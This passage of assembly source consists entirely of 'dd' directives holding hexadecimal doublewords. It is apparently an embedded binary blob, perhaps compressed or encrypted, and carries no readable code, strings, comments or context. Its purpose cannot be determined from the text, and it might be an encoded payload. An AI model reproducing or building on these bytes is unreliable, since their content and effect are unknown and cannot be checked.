85006148h, 0AF5A9ECCh, 808671C8h, 8F00317Ch, 466AF541h dd 7CD93B32h, 2ED0F6Dh, 8204219Eh, 601087h, 0CB2D3F5Eh dd 176F62h, 5C0F6B92h, 0E4612F7Bh, 0BA94ED00h, 1DC56DEBh dd 0EC8A004Eh, 1202E030h, 5A07FC06h, 2AEAE4C2h, 3EBAA510h dd 41A00ADh, 162C07EDh, 0F37D13BEh, 33681403h, 0C88861F6h dd 0B7A3E9h, 467BB9E4h, 6B9B3439h, 32D51900h, 51EB0EBBh dd 9458502Fh, 0E3350025h, 48D3E0C8h, 0D0030442h, 23D496CCh dd 79B0876Ah, 634112h, 0BA05AA57h, 0BE7C4F19h, 824E5520h dd 6E0421B8h, 0C053FB44h, 6DC78784h, 50E3CE90h, 0A0D40033h dd 69764CB4h, 6206A88Bh, 0FEC1CF70h, 11424229h, 847D9F18h dd 869C6E10h, 631FB621h, 129344E2h, 585D5A00h, 2A2C0E38h dd 37EE0402h, 80F8DE46h, 56ED0186h, 610C3100h, 4D90C14Eh dd 0B8750F38h, 8F4E7025h, 0A86BA9E1h, 5327FC35h, 0E9CFC001h dd 0E8BA49AAh, 58347CD4h, 0B50000E4h, 2ECE3E5Fh, 0D93F4FECh dd 5EA096F5h, 0AF67DE04h, 2F1D4090h, 7300036h, 0EC26E5FBh dd 0B30FD4DFh, 63AED27Dh, 0A82E86C9h, 1EBB96Ah, 0FF9CA514h dd 0D0BB5A3Dh, 4300DE8Eh, 6680A1DDh, 0EE60D3h, 139F7B0Dh dd 36CEFAF8h, 8C34300h, 881E1D8Ch, 0E5F33CA9h, 95121980h dd 0AE3FDA4Ah, 7A973100h, 78D5A0E8h, 15F91CBFh, 45240CAh dd 1C334734h, 3A3E2500h, 0A7B630CBh, 209100DAh, 0A55875D9h dd 1A0CC446h, 0B0CFFE8Dh, 7A50000Ch, 3E5A2264h, 8C0040C7h dd 0B97BAC01h, 3AA3E068h, 1100870Dh, 0E21D83DAh, 36002349h dd 3131AB6h, 0E0ED8509h, 4408038Fh, 3D862529h, 170AA3F0h dd 0C6E3E600h, 0E4CAF1Bh, 0B4E00081h, 0B1826026h, 240032ABh dd 0F3F10FB2h, 0FF4FA02h, 1ADDD6F0h, 8D6ABAC0h, 7800D40Bh dd 0E2CEE3Ch, 91D6911h, 4A96D306h, 0C4B3F000h, 215C0F83h dd 0FF940190h, 364BA972h, 5ADCF0h, 91DBECC8h, 0B00FDEF2h dd 93C01100h, 71A2321h, 0B8D800D4h, 0EF4E9F8Ch, 533E7EA0h dd 6D08F25h, 65464EC2h, 9401E73Bh, 5237B899h, 0B6F3D7h dd 0BD519AF0h, 7CA7CB5Eh, 0E78C2B07h, 0E905A461h, 3B800Bh dd 0A0E64198h, 2B0200BFh, 11ECDAAFh, 50032016h, 22E133E4h dd 9547F834h, 0CF7B15h, 38918112h, 0E2D4BDACh, 63E86600h dd 0F7E07287h, 0E704C0C9h, 3D68F502h, 0C2D41D00h, 663B44FEh dd 0D98F2439h, 9D49009Dh, 0E7297E7Ch, 5F5B1E03h, 0E010943Bh dd 12A9C1h, 5AF3DDECh, 0B2B4274h, 384A8C00h, 76094D2Fh dd 0FAFF393Ch, 3B4441Eh, 7F4CE50Eh, 0D97DF4A0h, 35DAE700h dd 49DCBDEAh, 0CCB282h, 6005326Ah, 6D9344AFh, 0FF267909h dd 94FB806Eh, 7B457872h, 9F8302FEh, 57095916h, 0F2C007Fh dd 83EF9h, 612331E2h, 0A26F69FFh, 0D8D21E24h, 29028100h dd 0FAEC4h, 98C334E0h, 0D978CD3Bh, 947B6500h, 29D6A549h dd 0FC5F05Eh, 877309E2h, 0BF86EA00h, 5C0080CDh, 0EB56467Dh dd 787EBEh, 0D9328A70h, 5F7296D4h, 0CCB4E71Bh, 7821D828h dd 9D86008Ch, 0EAA11284h, 833EC7E1h, 19048092h, 0D0E33FFAh dd 0B8DE5CDDh, 0E2419400h, 0ACB9E128h, 1080C500h, 91512307h dd 0BB7100FAh, 7A89357Eh, 0DB00C144h, 0CC4785A0h, 2C0BD49h dd 0CDE5CB43h, 39603A1Fh, 0DC03BA93h, 0D0D194B5h, 9FB0E00Fh dd 79650075h, 49FAC2F9h, 0C80038AAh, 48DFBDE3h, 244227h dd 17F5E503h, 4668AC33h, 9DE88600h, 2C11B149h, 0FDFF0027h dd 0C260C722h, 0E400A352h, 70EDDC79h, 911B32h, 14E14350h dd 0E60B3466h, 0D8903Ch, 2FA1CCF3h, 5FE1EF7h, 1545F04Ch dd 0B065C020h, 0BA019F82h, 0F91CD86Fh, 0E064B5A8h, 51B6E2BDh dd 2828FB27h, 30807925h, 0A73EA1D4h, 3000B7F8h, 0E236F96h dd 199234h, 51DA3B42h, 7E80A69Fh, 0CD3873F6h, 0F6007456h dd 6577DBCFh, 0F075BFh, 0A1FC01Ch, 8969E53Bh, 3D96B903h dd 0C821D9AEh, 0C75407h, 3AFF470Ch, 0C1B8B3E8h, 79012412h dd 7F3B1000h, 7BCF91Dh, 0A767AC6Eh, 0D6C961DCh, 0E59EE0B8h dd 5773FBA0h, 0D8CCDF12h dd 0AFAA0C07h, 0A95AF820h, 0A0660070h, 0A8B0A12Ch, 37005120h dd 63DA53B6h, 391D216h, 46AFC702h, 6C98BFFFh, 510B4FD1h dd 0E8E123h, 0F2C230E5h, 0DD35007Dh, 0C8AD2FC5h, 0AEAFDD1h dd 83910D51h, 0CBF2E4CCh, 8B6DE9A0h, 9FDE0DAh, 91BC0051h dd 7E892664h, 0F0E3EA7Ch, 8500B563h, 0F3AAF95Ch, 0D7E140h dd 0A6DB51CBh, 0EC89FE68h, 0C6800900h, 43DCAC54h, 0A28C024Ch dd 0F8C9B8D5h, 2CC04852h, 476C6970h, 0F62CE6AAh, 51DB3C76h dd 561C100h, 6831D7D5h, 77038F00h, 0CF179B83h, 7273005Bh dd 0C530747Bh, 93006C3Fh, 0AAC67501h, 545C83h, 0DAC1120Bh dd 0DE028525h, 92EB0401h, 472D3E48h, 0AF97E8h, 14436180h dd 0FC572E58h, 0E0FA4Dh, 0D65B4474h, 0C2CB17h, 4B1940ABh dd 42B77E60h, 583E5600h, 0AA33A73Ah, 740F2534h, 0C7920007h dd 8DBA307Dh, 0ED001C75h, 0FDABC335h, 70E15Fh, 81E2978Eh dd 6B337DDEh, 72F55B00h, 0AA349FC1h, 76D90024h, 0C63A8F13h dd 98EC6AB8h, 0D6B75400h, 1F1E8809h, 0FD101E04h, 5ED99EDEh dd 0A442CBCDh, 0FFF86A00h, 3D01FEE1h, 0F06C3AD5h, 79CCECC3h dd 0B16D00E9h, 48183BA5h, 0C0001B7Ch, 1CA840D3h, 7826BEA6h dd 0A7A4000Bh, 0CFBB8046h, 86003D5Dh, 0D5750AD9h, 38124260h dd 8A3BC15Fh, 4AA82F80h, 4BC99482h, 0C36C5B02h, 63272DA9h dd 0D662A0C0h, 0FE3700BBh, 743320Eh, 0D0F06184h, 3D8BC48h dd 3FBE6475h, 98C3DDAAh, 215CF8C0h, 0A9670074h, 9F60BF36h dd 0CC0BAE28h, 804BF5CBh, 3253EAC8h, 0BEE7093Ah, 807DFF39h dd 19983768h, 0DA8E003Fh, 0BC47AD77h, 22001CEDh, 3EEFF1A3h dd 1F0BC7D4h, 667884EAh, 1FB90156h, 70F64FEBh, 5777B1BCh dd 9D946700h, 0FF8D93BDh, 4480073h, 701F4777h, 0FA75200Bh dd 0A3B20C60h, 73BFA662h, 960D008Ch, 0C7B9CF6Ch, 0EF002970h dd 0C8F904DDh, 37F89h, 0A3EA8E83h, 566DB4A2h, 23222401h dd 499CD11Bh, 0E0E418C9h, 12F90E20h, 66CF850Ah, 8C20144Bh dd 0E3C5FDAEh, 0ECFEEE00h, 0F68DCF65h, 3AC0F18Eh, 13241D1Bh dd 201D3Eh, 2DDA4E1Ch, 2601B13Fh, 0C52832BFh, 0FBF82FCFh dd 0E31E00F8h, 0C4E41A3Ch, 0E13D1B68h, 0A7ED80E6h, 65896C2Bh dd 6273008Ch, 0A6B2204Ch, 5D02935Fh, 855658DBh, 0DD8840C3h dd 0C0160064h, 0D51440CDh, 0E800C1DCh, 2E38A77Fh, 99A4CCh dd 0F9800418h, 783B3F0h, 0AFE6137Ch, 30D11C07h, 2360FA3Dh dd 8234FCh, 0C283475Ah, 9B8C0ED4h, 0FB53C700h, 0F5D296Fh dd 3FEA0220h, 0BD0CE2A7h, 99511C40h, 4E8B420Bh, 5CC300CDh dd 19D4075h, 4A95D848h, 0C843749Bh, 1F02C3A2h, 2E36A7FAh dd 0F0E450E6h, 1B2500AAh, 0DB3E4FE8h, 4A728D23h, 64A11C90h dd 0EF1C24A8h, 510426FAh, 1ACCE80Eh, 95B9E080h, 0C5D00063h dd 30850D99h, 1304A732h, 2F1B10E4h, 8C85E4A2h, 69F5093Dh dd 63F6D440h, 0ADB6D41Eh, 0E6CBBA40h, 33A8AD6h, 0DDCFA4C7h dd 0D3C0B46Dh, 47004F1Dh, 8571CEE7h, 0AB8B20h, 0CF6167EAh dd 7986C00Ch, 1D5C324Ch, 0FFE8A028h, 276AF8F3h, 39211100h dd 1994BFB2h, 0B4BE00FCh, 0DFED733Eh, 850BE433h, 1F540A2h dd 4B146EBAh, 3E2609ECh, 28006BB6h, 15187670h, 79504DB3h dd 573ED3FCh, 50248093h, 0B63A55ACh, 94CC5C15h, 408F741Ch dd 0F41B3BE6h, 810008C3h, 4018115Ch, 1386D001h, 0C2524Ch dd 560A35A8h, 6E138D21h, 0A50E7724h, 0BED300F8h, 78753Eh dd 0DF965DAAh, 52583F4Dh, 0D950DE07h, 0C56060CCh, 0F8E46D65h dd 7E883BD2h, 15738600h, 393C3EA8h, 0E580B000h, 629A8718h dd 4B0400FCh, 0A741CE72h, 0DF1DD5A3h, 0A541C069h, 0BC628AD7h dd 0C471F0C7h, 6C5C00C9h, 94AA2231h, 0A31E014Eh, 0E400667Dh dd 0DDA2C261h, 808426D0h, 119A6F0h, 44B6E824h, 906D4Eh dd 4D49636Eh, 3A1DC939h, 40836FFDh, 0AB7E8B76h, 0A3D69FF0h dd 7A3B3Bh, 668DDEBCh, 1639DA93h, 0A8972Dh, 0B9532C58h dd 5902E070h, 8D498123h, 2DCC007h, 159A0099h, 1CCCABD9h dd 250067E2h, 3A83EE2Eh, 248A68h, 0F160D3F6h, 84BA8EE7h dd 7E9D1D3Ah, 1E113C00h, 943018D4h, 2EF902F4h, 0EBAFA9C8h dd 0C05D70E0h, 3FA9607h, 1D90EEDEh, 7A57D437h, 0D36400FBh dd 0CA7E2B9h, 17F02410h, 95DCD900h, 3667B4E9h, 0C2AF1F5Bh dd 2250C05Fh, 71FB0BE1h, 257BE700h, 0EBF906C8h, 0A0DE00E0h dd 0D065C293h, 0B7824E3h, 6E4C2103h, 0D01C9A76h, 7E3834h dd 8DC905A9h, 0BB136973h, 19AF8E1Ch, 7D980484h, 7CCF0A01h dd 0E042D094h, 0A58D7A1Fh, 98EA0Fh, 80D29B88h, 0B20C17Dh dd 0F009102Fh, 0D31D1FB1h, 80BBEE3Ch, 0E5B4BCB3h, 1C69ACBh dd 798E8D57h, 0D4801BDDh, 0F100ABD7h, 44DBCA52h, 5F3D7Ch dd 4331D439h, 8C14B5F9h, 0F7E0E701h, 0DFC079Eh, 0E0D76865h dd 0F0EBB6h, 9F0523E2h, 0BBC4E3A1h, 20EF8CA1h, 0B11CD9AAh dd 0F90040E0h, 0B5D5048Ah, 2B4500CCh, 0C00F8DF0h, 4100C7B8h dd 28FF8209h, 462AC1h, 0C2ECF7B1h, 5A0A8635h, 92CBD901h dd 3948FD95h, 4F7F20h, 4C3BF34Ah, 9C74D510h, 5C0748B6h dd 6A412AE8h, 606D9ACDh, 0D0620616h, 23E8CA6Ch, 0D87BF400h dd 0A96BF922h, 14BF895h, 41C2C5F1h, 472C0178h, 20D9A018h dd 0F10D4D58h, 38C34C23h, 871E7868h, 345014DFh, 470B8160h dd 880031B0h, 98CDE022h, 5F94683h, 89C95478h, 5190A0D8h dd 2BF2FE00h, 5AC57B3Bh, 885403B1h, 5B1276F8h, 303EC4F1h dd 5C2D044Eh, 463C8058h, 8BC82Dh, 5EB10BE7h, 67DEA460h dd 0F6F13E00h, 0A115769h, 41C03FB5h, 0EA5B0C77h, 3BA19754h dd 493D0472h, 1DAE0063h, 3D662FDDh, 0AAB90051h, 71AF2957h dd 0F2055FBCh, 0F4859AC3h, 0A05AC00h, 0C6938B77h, 518F5448h dd 997D6D07h, 0C032E832h, 2D01E0D2h, 0F5940025h, 670172C5h dd 0AB00F263h, 4D99C38Eh, 773566Ah, 0D29AC8F8h, 3E8C40FEh dd 0FC1857B6h, 87590F8Bh, 0AE7900F7h, 0B985C2F9h, 36030906h dd 1ABDBCCFh, 182EC0D7h, 0CEB8BBh, 8EBFD647h, 2665593Ch dd 2C5B8D05h, 0E0405E61h, 72167138h, 0CDFA00ECh, 0AA83E762h dd 29128809h, 140F1084h, 87D30014h, 88405051h, 7501A403h dd 5D10FA88h, 0B2D89481h, 3C1503ECh, 6CFAF44h, 8B4D2801h dd 0DB4555B3h, 0F38E1180h, 35772A89h, 0C4D22200h, 0AA90736Ch dd 0E6C5FC2Ch, 32E4006Eh, 758703Bh, 0D31FB174h, 4F804078h dd 389C040Dh, 277D0216h, 67D9A7D0h, 4CAFD07h, 6025D170h dd 6E8E2876h, 1C093989h, 89642B52h, 0B2F380CDh, 18D169D9h dd 28DB42DAh, 9F8884FAh, 0C41F8163h, 0DF015D12h, 0C46EC3E2h dd 0D1D4103Ah, 75C11EF7h, 0C0A8DEFDh, 87219E27h, 513D09B3h dd 379BC94h, 5C0308A6h, 20100792h, 301C9E55h, 0ADF99986h dd 0AB6CE03h, 0E87F5A29h, 689765h, 7AC6FB1h, 5B46550Eh dd 86A84107h, 73B077C1h, 7B9522A0h, 37F00024h, 0C9A97D79h dd 0BE0074D8h, 0A561F20Fh, 3CD4B5h, 8501E0ACh, 9506DCFh dd 0E2ED17Ch, 8A1C3FD0h, 50794E8h, 621990D3h, 4F5B6FE1h dd 71422ECh, 3E6AA17Ah, 544120B9h, 3300E1E0h, 8128826Bh dd 0C006E638h, 8C03178h, 70FCD54h, 409BEF3Dh, 0BC5104C6h dd 70EC37h, 1B714A6Fh, 94C7612Bh, 39023E74h, 0B8FEAD77h dd 63888256h, 8855007Dh, 5F008B87h, 0D2EA82D7h, 1C24CEFFh dd 0CCDE16h, 0AAC71BCh dd 143A18A8h, 7B8881E9h, 0DEF1237h, 0CFC0CAF1h, 0B9D7006Fh dd 98561A26h, 0FA06F469h, 0DA76C178h, 0BD5D3919h, 0C70828h dd 0D8EA8487h, 6675C3A8h, 2F0057E0h, 35AA0EB7h, 0A641E4h dd 677B96C1h, 52FB9E58h, 3257209h, 80940F4Eh, 2C22B089h dd 0B52A3A4Fh, 0FBBABB07h, 0E178302Bh, 2E00F288h, 0B80E856Bh dd 440DCDh, 4A79E333h, 0B156F45Dh, 54D89E24h, 16B78400h dd 1DEB69B0h, 1273463Ch, 1EFA848h, 0AC784503h, 27FC6EF5h dd 0D68E008Fh, 9EAA9182h, 8107999Ah, 0BD200F9Bh, 3F6C0AD0h dd 7DFC49h, 0FBCBB590h, 9DD31AE0h, 1ECAE700h, 0B41FFFC1h dd 917C037Fh, 0B1DA8B86h, 0B02F8FF0h, 8FE0F00h, 6A14773Ah dd 2AA30044h, 2434B1AAh, 5A002207h, 0B585B61Fh, 73A1A6h dd 6254FEC9h, 841502CFh, 4146C400h, 42230865h, 3C0AEC99h dd 7C304B5Eh, 7DEAE690h, 1F448116h, 971CDF01h, 12C0FE45h dd 0C2960065h, 7B403D5Bh, 849099Eh, 0A8F400F8h, 0FCFB2026h dd 0ACD40173h, 0E13998BCh, 0A9D3E065h, 0DE0E85ECh, 5C1F37BAh dd 0A001B10Fh, 31E9E7E8h, 0D0BF00F5h, 0C7DADE8Ch, 5B541A20h dd 2B0E3B90h, 408AEA91h, 0C92225Ah, 541000CFh, 36663582h dd 78006EF0h, 40BAFFCAh, 5C155F14h, 3100C42Ch, 0D26D95F1h dd 611224D8h, 0F000F746h, 0C4A91BD5h, 5E4A001Ah, 242FA68h dd 0A3073AA8h, 0B205C249h, 0D4011800h, 0A6BA0091h, 194D50EBh dd 9D007247h, 7663FAB3h, 54B1277h, 0AB8B1C87h, 0DA6E8220h dd 39E38883h, 0C59232A8h, 0EB052372h, 97BEC4C8h, 0FB19E800h dd 28CAAFh, 0E7A09F6Eh, 31EF61B6h, 9D912C00h, 0C6D8A4DDh dd 12AD7409h, 0BAA3A2h, 35B903FEh, 0DA00E58Fh, 0C3905F9Eh dd 60CE4F66h, 20AA589Dh, 0B7003F8Ah, 0A2F0F876h, 2554B6h dd 7136D192h, 2AAD7B81h, 0E35A2600h, 0B3E54FFCh, 0EA7C1305h dd 0B0F40069h, 2ADF2463h, 7790AB01h, 52A720D3h, 79FB3820h dd 48E984Ah, 0E4B1E10Eh, 62E8D07Dh, 0C800D31Bh, 8856C3E3h dd 3AFBE5h, 77E2CB67h, 0ABBDDEB4h, 0E76DD801h, 7B2DD0A9h dd 2289E4h, 8E3E62B9h, 0C88DECADh, 5D153Ah, 7AE664D6h dd 0E164775h, 4B289740h, 77388CA1h, 5722EC80h, 0B60A7206h dd 18405AC7h, 20AAD3F1h, 660050B7h, 24A93DACh, 3BF218BAh dd 9F15C343h, 663AD011h, 9C294A81h, 0D4B59980h, 0B61E1BBBh dd 1D001275h, 6AAEB3Eh, 19B3002Ah, 7CF2497Eh, 0E2008C61h dd 0E880B4FBh, 5B342Eh, 496F07FFh, 0D9BA5E88h, 3B39CCB8h dd 0E163034Fh, 0A0FC74CBh, 0D60402h, 0BB8B3472h, 0B4614662h dd 47C4651Dh, 0A3FCEDC0h, 1E64D0h, 0C38FE3DDh, 224930B7h dd 76537C00h, 63D0135h, 6C9200E9h, 0BA902912h, 0FB00CD1Eh dd 5B138E2Eh, 562544h, 0B31CB772h, 1108ED6Dh, 1BF631Fh dd 0C0D7FDCFh, 847197E5h, 8C6200A6h, 0C961D5C2h, 0AB05498Eh dd 8259B5D6h, 21BA92C1h, 7A0FFC7h, 3EDFA238h, 9F804A7Dh dd 0D2B75242h, 0D82EEEF6h, 0AA3E6CE4h, 80BACF2h, 8EEA6575h dd 0C79AE77Ah, 0C3F64CB0h, 992F00BCh, 0E32968DCh, 0E21D9E86h dd 2D803462h, 1DD63B3Fh, 0E4491C66h, 13ADE2Ch, 0BD148550h dd 3F043047h, 2A0CDF00h, 215705DCh, 74DD018Fh, 0CB285B68h dd 9F802093h, 0ED0C332Ch, 41AD1400h, 9638745h, 0DFAE7A02h dd 5159F087h, 70BEAB33h, 31007228h, 85F81FEFh, 4EFF54h dd 0CD6D9122h, 37B74AF4h, 847B4601h, 28E73DEh, 275E8D0h dd 0D7C4D1F2h, 0D8405354h, 0F33D30D3h, 0AF6F0371h, 25A9729h dd 642F0518h, 0D44143FFh, 4EC3084h, 9F03B071h, 6655B87Dh dd 1C7FE025h, 32740129h, 0E63724EFh, 68ABE089h, 0A5EDAF1Eh dd 7D8666C0h, 0FA2E7974h, 904B014Eh, 1842A4CAh, 5AF060E8h dd 6C58FAEAh, 84410CBEh, 0EA99F015h, 40060EEBh, 2B023F9Ah dd 30E8E9DAh, 52009D59h, 9280C11Bh, 9679FA4h, 0EF3CB801h dd 0D4C54000h, 3100363Eh, 6D4B11BFh, 1694C166h, 20EC876Eh dd 0EA2B8A44h, 22684603h, 0B8347548h, 774590Ah, 8D8043F1h dd 0CF9C302Fh, 86EEB2C3h, 0CE1A1C00h, 0D7996402h, 0FDB0B6h dd 0B24EA1C2h, 0DD7FBED1h, 4005C600h, 0A6684791h, 0B6F00787h dd 197A90C4h, 4B23E08Fh, 0E0C7758Eh, 355194D0h, 0BB004998h dd 2776BCD7h, 973070h, 37CA291Ah, 0CC8DEFFAh, 3321B760h dd 0C0A8A4h, 6553AE3Ah, 0C866B2EEh, 83B4931Ch, 42FD8BCEh dd 74522CB8h, 1CFE009Bh, 697E07E0h, 32657000h, 5AD76EE3h dd 9FF8008Bh, 7F345924h, 4203EF80h, 0FDEBCE95h, 331DA81Fh dd 9C7FA66h, 43D622F0h, 0F6B9DC80h, 0E00AE02h, 60D2C12Ah dd 38A6B3h, 45E11104h, 4443DE8Ah, 88246700h, 0E51E0AB6h dd 4FBA00D8h, 6C6D338Dh, 0AA00F8FCh, 0E267CC0Eh, 196AA04Ah dd 18FD2450h, 0AD5CD4A5h, 77F8F25h, 7BC03EBCh, 0E1E6F1h dd 0C17A9B39h, 12FEF595h, 0D32C190Fh, 784FA025h, 2AF31Fh dd 924A6EE0h, 0D1889321h, 4858E61Fh, 3BA423C7h, 5E6951F0h dd 0B38D01A6h, 744DE49Fh, 0B496D45Fh, 52E59C00h, 712D3578h dd 7B37E60Bh, 0D104BE3h, 60689704h, 920095C5h, 7B88B225h dd 33D47A3Ch, 0EBB06035h, 627183Ah, 789A74FBh, 0D3F906C9h dd 30C8F411h, 6C08F161h, 1FECA71Eh, 9B3300E1h, 1D418975h dd 3B004BADh, 7E950AB3h, 0CF180C7h, 0EF6267A9h, 98507538h dd 0C002C2Ch, 2D9B4F8Eh, 1E34317h, 0D3CF5CEBh, 80C0025Eh dd 9A103310h, 778C23B2h, 0F2E6013Ah, 0E82F6074h, 90E8BD98h dd 758A9BE3h, 0CDE5805Ch, 2D9D3DB1h, 0E340B21Dh, 0D001468h dd 1AC28930h, 0A5E8CFh, 1E2E9436h, 398A0E5Eh, 0AED81C00h dd 2141F638h, 0BB110F09h, 154E6899h, 0FEA718C0h, 89001014h dd 7B699BB1h, 44F7EDh, 526EFCC8h, 0DCC44616h, 18701560h dd 3479779h, 6378884Bh, 82CD0B9h, 1D80E821h, 0E4179761h dd 0EB0601BCh, 0C7ED239Bh, 4577F435h, 60CCF0BDh, 62BCD979h dd 0EB2F4257h, 1966FE75h, 8074081Dh, 57632321h, 32955Fh dd 0F15AECD0h, 0C28E9997h, 4EF51000h, 9CD3163Ah, 470E4E0Dh dd 20469D20h, 3E40F17Fh, 0E45A123Dh, 24E00108h, 9D3F00B6h dd 5894C614h, 93313ACCh, 0DDF80A60h, 5E6EE980h, 9228CBFBh dd 6C597162h, 378490E0h, 0A59A0743h, 16DA1F4Eh, 380419CEh dd 0D22CFC88h, 2B65CE4h, 2D61B941h, 3DC39818h, 0B1A30930h dd 0AB90CD6h, 0C4621656h, 3EDB0024h, 0AA6CF1BFh, 64071C79h dd 0CD17271Bh, 85627770h, 0DBFC0163h, 0BF871ACEh, 67B04819h dd 5764048Ch, 6265EB40h, 0D392170h, 43517057h, 69022F03h dd 9E521064h, 0AFFC21h, 9BD6E8DFh, 3A4A86D7h, 30871B3Bh dd 0F9E07023h, 9066000Dh, 4CD6566Ah, 0D000787Eh, 0BEBB83E7h dd 7C468492h, 0F5721E1Ah, 380B8BB4h, 0AC47C000h, 42000420h dd 0DC07BAA0h, 7FA12AAh, 96994046h, 0AB85002Fh, 8858E2E7h dd 0C0FE1368h, 56DBBE00h, 4C55849Ch, 9A0390EEh, 0CD75898Dh dd 1A601D92h, 5E007EB6h, 2F519BE6h, 8EF673h, 0D93FF9A8h dd 83BFC713h, 7003671h, 0C0F85A2Ch, 88E8E5h, 335B1CDBh dd 7F1E0B75h, 5C39C6C0h, 0BBA028Ch, 0CD15EAE8h, 0B5162680h dd 893977D4h, 83C19942h, 20D429A0h, 0AAA5007Fh, 0E53BCA2Ah dd 3F004D36h, 24660975h, 307B70F0h, 0EE90808Eh, 80D9DE8Ch dd 3EF87E40h, 1EF8DBh, 71AAB102h, 1714A63Dh, 55424F0Ch dd 3B3369BEh, 0C780BCCFh dd 139C140h, 0E772C1Bh, 83946C54h, 1A794200h, 20F3B2BCh dd 322F007Eh, 0D0353D55h, 0D90F0322h, 5C2633DCh, 9B5179C0h dd 217B19h, 9D62F953h, 7AC29213h, 99A6E37h, 3207976h, 569D4A59h dd 0D80AA38h, 0EB0011FEh, 9B04C594h, 0E6E4E3h, 0F0AE7382h dd 77B17026h, 0E01938CFh, 11EB9A33h, 0ACC70C22h, 8E085AF9h dd 4BBE21C0h, 0E21B239Ah, 20C2CBDh, 98031835h, 2D181979h dd 33A95AAEh, 88B91C07h, 959E43E3h, 81853FBh, 15201846h dd 64B8000Fh, 8B3B88EEh, 6B06E72Dh, 7AA383C7h, 0DC780070h dd 104D759Ah, 0D80711D6h, 627C1380h, 9902606h, 67E23B7Bh dd 0F3046480h, 82509B01h, 0BD0A2620h, 80A862E1h, 20F7EC0Ch dd 1060092Ch, 8474DBCBh, 0E8B0503Fh, 9F84C000h, 3E9C511Eh dd 0B94F00A5h, 2057E6E9h, 48003706h, 6A15B884h, 3D51F6h dd 3EF7CF54h, 1C8FB2BEh, 0B5EDA700h, 63C08D77h, 69230B5Ch dd 9A8002E2h, 7DBA79F4h, 7B48A11Fh, 260CA500h, 1CDAF3AEh dd 42BB31B2h, 42E4C658h, 62A38740h, 5E91D200h, 46E5399Bh dd 0A43D0070h, 8AF2DD63h, 1E2CF414h, 0B5079541h, 0BDA19753h dd 5630B006h, 98CC0040h, 48DF1A18h, 0E90C7031h, 38972E57h dd 177E8B5h, 85FE0B42h, 9E4B1259h, 51B01E48h, 0B943BBh dd 0FDFF57AEh, 0F3D25ECAh, 4424A0Eh, 110A4039h, 6E71C1Eh dd 0A34CF410h, 233B3815h, 22C88074h, 0C386EF76h, 3621016Fh dd 4825FFEh, 0D561804Ah, 7E3D974h, 61DC0081h, 3C331A77h dd 0EE0072CDh, 0FF6F2D7Ch, 80149FB5h, 0C0845B64h, 0A4730C50h dd 0CA06D37Ch, 0FCDC8DEh, 0EF4F44C0h, 29F89900h, 0D0F95512h dd 5C160AACh, 1FB3156Dh, 0E5578C31h, 0F5001450h, 80AF1FCBh dd 0F65A5934h, 0E3C30792h, 2010C0AAh, 0F023B46Ah, 0F80458C6h dd 26BD0089h, 4D1882ADh, 0E0641A0Ah, 0F0407F21h, 5ADA0280h dd 120C3400h, 17F98374h, 7DB84059h, 0F4816F61h, 0ABD32E19h dd 80E9F894h, 0A16F435h, 7265859Ah, 0B44B1584h, 1B231D11h dd 0D041F157h, 1CC808h, 0E12A6274h, 0F08D1296h, 28C44DECh dd 7300B649h, 83A8268Ch, 0EF703D61h, 98504ECDh, 0C6FA9242h dd 99B3DD51h, 809C7903h, 1FEDD430h, 20901E80h, 4E023600h dd 29779B93h, 0A9F82A58h, 0BA214480h, 0AE816C01h, 0C0DD578Dh dd 0E77ABF4h, 0FE9EC6B8h, 0B82E5039h, 67A06688h, 6CFD5189h dd 607B4DF4h, 74DA510Fh, 0ED0C4716h, 0B95D1715h, 95040007h dd 77C2D17Bh, 0A603EF57h, 0C74C587Dh, 833832CDh, 58E0C328h dd 0A51C1D8Dh, 71141021h, 28C148ACh, 0BE447CE9h, 1C940096h dd 0EDD66340h, 2E527734h, 8D007B10h, 0E237AB7Bh, 800C6B42h dd 974120EFh, 0AAE57080h, 0FAF54850h, 4550FD49h, 81F9C4BCh dd 86AAD200h, 3C2468DEh, 69CCE9D3h, 52CA0155h, 0F4C4409Dh dd 0DC20804Eh, 0E3191E27h, 0C0A20C80h, 251887FDh, 17EB748h dd 0A1530552h, 51B0976Ah, 0C65BD118h, 1F409EE7h, 0B600655Dh dd 89014D81h, 94EC2C9Ch, 7584067Dh, 0C7188055h, 0B6306210h dd 95D118C9h, 4C9681ABh, 0E13EE309h, 2DDA0055h, 0C1C6C88Ah dd 0EB4E3C89h, 38BC6Bh, 64292082h, 0C370E69h, 96A8E714h dd 330C9529h, 5990F49Dh, 3D20008Fh, 725BF782h, 0B01C7A05h dd 458017D1h, 3EB6D7C3h, 0C8F53036h, 433A93C9h, 0A800C0EAh dd 0F75BEB08h, 320E14Bh, 0B7CEFB9Eh, 783B2251h, 0A1D0B203h dd 3CA490F5h, 0ED0C031Ah, 0E756955Bh, 52D1B00Ah, 510B74A9h dd 9C4100D6h, 157F0E6Ah, 0A83D470Dh, 884E9414h, 33B1CDC7h dd 213CA3AFh, 0E9B6B0ABh, 16E9ACh, 0D0C6913Ah, 0F57BA4B1h dd 3B291B00h, 0DEB55178h, 3E98A0BBh, 8C7F00D4h, 91AF5C58h dd 0F8C0C62Ah, 4DDC641Dh, 0AC6754ECh, 7E08DFA0h, 0C0AC852h dd 813C076Eh, 5EE5EDE8h, 5040CC28h, 7C53EB00h, 70C421DBh dd 964224B3h, 0D2AB631Ch, 58EE3900h, 93366EDAh, 40DC065Ch dd 79D4CA57h, 6761EC07h, 0E5D0603Eh, 45F20BEh, 0AF719A7Ch dd 0A05C971Ah, 0FC80D615h, 4A82BD02h, 0A64BCAE7h, 1948D78Ch dd 71DD2FBFh, 46A85131h, 1F02CEC1h, 0CD5048A0h, 8904005Fh dd 19086D20h, 0ED055B79h, 7EC6065Ah, 2FABC006h, 99680340h dd 0EF102730h, 8C83AD92h, 4901181Fh, 46618A3Dh, 22EB6216h dd 0F9062E39h, 81BD4D60h, 0C2F53081h, 806AFD89h, 80DA5C3Dh dd 137BFABDh, 767A715h, 0A3F0CB69h, 186BB4D0h, 9C93ED9h dd 6E1F055Ch, 0EE093C00h, 0E0A896CFh, 0CD50A023h, 213AC758h dd 0F4396865h, 0B4D3F98Ah, 2957D580h, 185A5662h, 0BADDE5DBh dd 3774CA22h, 9CD9B260h, 0E6989Eh, 55EDBAD1h, 0E015E7C6h dd 0DA3C9702h, 4063353Dh, 8861861Ch, 0B45064C8h, 1F30F0BFh dd 33F49B5h, 8FB07Fh, 5D476283h, 75CB4844h, 78CAE100h dd 183D954Dh, 30B1C06Dh, 14FC9182h, 1AA5E0F7h, 0C054F348h dd 0C6C33323h, 0D2E3017Dh, 